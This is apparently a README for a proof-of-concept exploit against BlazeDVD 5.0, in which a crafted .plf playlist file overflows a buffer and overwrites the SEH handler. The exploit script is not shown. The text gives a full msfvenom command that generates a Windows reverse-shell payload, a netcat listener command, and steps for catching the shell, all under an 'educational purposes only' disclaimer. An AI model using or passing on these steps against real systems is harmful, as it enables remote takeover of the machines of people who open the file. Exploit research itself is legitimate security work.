
Proof-of-Concept (PoC) exploit targeting a buffer overflow vulnerability in BlazeDVD version 5.0 via a crafted .plf playlist file. The exploit uses SEH (Structured Exception Handler) overwrite to achieve code execution.
.plf fileThis code is for educational and research purposes only. Any misuse of this code may violate local or international laws. I do not take any responsibility for damage caused by improper use.
The exploit generates a malicious .plf file which, when opened in BlazeDVD, triggers a buffer overflow and overwrites the SEH (Structured Exception Handler), redirecting execution to a reverse shell payload.
Generate the Shellcode with msfvenom
Use msfvenom to create a reverse shell payload in raw format, avoiding bad characters.
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=8443 EXITFUNC=thread -b "\x00\x0a\x0d" -f c
Replace the shellcode inside the exploit script with the output from msfvenom.
Start Netcat (Listener) In another terminal, start listening on the selected port 8443:
nc -lvnp 8443
Catch the Reverse Shell If successful, a reverse shell will connect to your listener.